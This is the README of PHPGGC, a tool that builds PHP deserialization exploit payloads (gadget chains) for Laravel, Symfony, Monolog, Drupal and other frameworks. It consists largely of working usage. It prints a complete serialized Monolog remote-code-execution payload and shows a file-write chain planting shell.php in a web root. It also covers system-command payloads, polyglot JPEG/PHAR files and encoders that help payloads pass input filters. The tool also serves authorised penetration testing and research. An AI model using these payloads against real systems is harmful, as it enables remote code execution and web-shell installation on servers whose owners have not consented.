PHPGGC is a library of unserialize() payloads along with a tool to generate them, from command line or programmatically. When encountering an unserialize on a website you don't have the code of, or simply when trying to build an exploit, this tool allows you to generate the payload without having to go through the tedious steps of finding gadgets and combining them. It can be seen as the equivalent of frohoff's ysoserial, but for PHP. Currently, the tool supports: Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Slim, SwiftMailer, Symfony, Yii and ZendFramework.
Requirements
PHP >= 5.6 is required to run PHPGGC.
Usage
Run ./phpggc -l to obtain a list of gadget chains:
$ ./phpggc -l
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Doctrine/FW1 ? file_write __toString *
Drupal7/RCE1 7.0.8 < ? rce __destruct *
Guzzle/FW1 6.0.0 <= 6.3.2 file_write __destruct
Guzzle/RCE1 6.0.0 <= 6.3.2 rce __destruct
Laravel/RCE1 5.4.27 rce __destruct
Laravel/RCE2 5.5.39 rce __destruct
Laravel/RCE3 5.5.39 rce __destruct *
Laravel/RCE4 5.5.39 rce __destruct
Magento/SQLI1 ? <= 1.9.3.4 sql_injection __destruct
Monolog/RCE1 1.18 <= 1.23 rce __destruct
Monolog/RCE2 1.5 <= 1.17 rce __destruct
Phalcon/RCE1 <= 1.2.2 rce __wakeup *
Slim/RCE1 3.8.1 rce __toString
SwiftMailer/FW1 5.1.0 <= 5.4.8 file_write __toString
SwiftMailer/FW2 6.0.0 <= 6.0.1 file_write __toString
SwiftMailer/FW3 5.0.1 file_write __toString
SwiftMailer/FW4 4.0.0 <= ? file_write __destruct
Symfony/FW1 2.5.2 file_write DebugImport *
Symfony/FW2 3.4 file_write __destruct
Symfony/RCE1 3.3 rce __destruct *
Symfony/RCE2 2.3.42 < 2.6 rce __destruct *
Symfony/RCE3 2.6 <= 2.8.32 rce __destruct *
Yii/RCE1 1.1.20 rce __wakeup *
ZendFramework/RCE1 ? <= 1.12.20 rce __destruct *
ZendFramework/RCE2 1.11.12 <= 1.12.20 rce __toString *
Every gadget chain has:
- Name: Name of the framework/library
- Version: Version of the framework/library for which gadgets are for
- Type: Type of exploitation: RCE, File Write, File Read, Include...
- Vector: the vector to trigger the chain after the unserialize (
__destruct(),__toString(),offsetGet(), ...) - Informations: Other informations about the chain
Use -i to get detailed information about a chain:
$ ./phpggc -i symfony/rce1
Name : Symfony/RCE1
Version : 3.3
Type : rce
Vector : __destruct
Informations :
Exec through proc_open()
./phpggc Symfony/RCE1 <command>
Once you have selected a chain, run ./phpggc <gadget-chain> [parameters] to obtain the payload.
For instance, to obtain a payload for Monolog, you'd do:
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
For a file write using SwiftMailer, you'd do:
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
Wrapper
The -w option allows you to define a PHP file containing a wrapper($chain) function.
This will be called after the chain is built, but before the serialize(), in order to adjust the payload's shape.
For instance, if the vulnerable code looks like this:
<?php $data = unserialize($_GET['data']); print $data['message'];
You could use a __toString() chain, wrapping it like so:
<?php # /tmp/my_wrapper.php function wrapper($chain) { return array( 'message' => $chain ); }
And you'd call phpggc like so:
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}
PHAR(GGC)
History
At BlackHat US 2018, @s_n_t released PHARGGC, a fork of PHPGGC which instead of building a serialized payload, builds a whole PHAR file. This PHAR file contains serialized data and as such can be used for various exploitation techniques (file_exists, fopen, etc.). The paper is here.
Implementation
PHAR archives come in three different formats: PHAR, TAR, and ZIP. The three of them are supported by PHPGGC.
Polyglot files can be generated using --phar-jpeg (-pj). Other options are available (use -h).
Examples
$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id
Encoders
Arguments allow to modify the way the payload is output. For instance, -u will URL encode it, and -b will convert it to base64.
Payloads often contain NULL bytes and cannot be copy/pasted as-is. Use -s for a soft URL encode, which keeps the payload readable.
The encoders can be chained, and as such the order is important. For instance, ./phpggc -b -u -u slim/rce1 system id will base64 the payload, then URLencode it twice.
Advanced: Enhancements
Fast destruct
PHPGGC implements a --fast-destruct (-f) flag, that will make sure your serialized object will be destroyed right after the unserialize() call, and not at the end of the script. I'd recommend using it for every __destruct vector, as it improves reliability. For instance, if PHP script raises an exception after the call, the __destruct method of your object might not be called. As it is processed at the same time as encoders, it needs to be set first.
$ ./phpggc -f -s slim/rce1 system id
a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"...
ASCII Strings
Uses the S serialization format instead of the standard s. This replaces every non-ASCII value to an hexadecimal representation:
s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"A\00B\09\0D";
This can be useful when for some reason non-ascii characters are not allowed (NULL BYTE for instance). Since payloads generally contain them, this makes sure that the payload consists only of ASCII values.
Note: this is experimental and it might not work in some cases.
Pull requests are more than welcome. Please follow these simple guidelines:
__destruct()is always the best vector- Specify at least the version of the library you've built the payload on
- Refrain from using references unless it is necessary or drastically reduces the size of the payload. If the payload is modified by hand afterwards, this might cause problems.
- Do not include unused parameters in the gadget definition if they keep their default values. It just makes the payload bigger.
Codewise, the directory structure is fairly straightforward: gadgets in gadgets.php, description + logic in chain.php. You can define pre- and post- processing methods, if parameters need to be modified. Hopefully, the already implemented gadgets should be enough for you to build yours. Otherwise, I'd be glad to answer your questions.
The --new <framework> <type> command-line option can be used to create the directory and file structure for a new gadget chain.
For instance, use ./phpggc -n Drupal RCE would create a new Drupal RCE gadgetchain.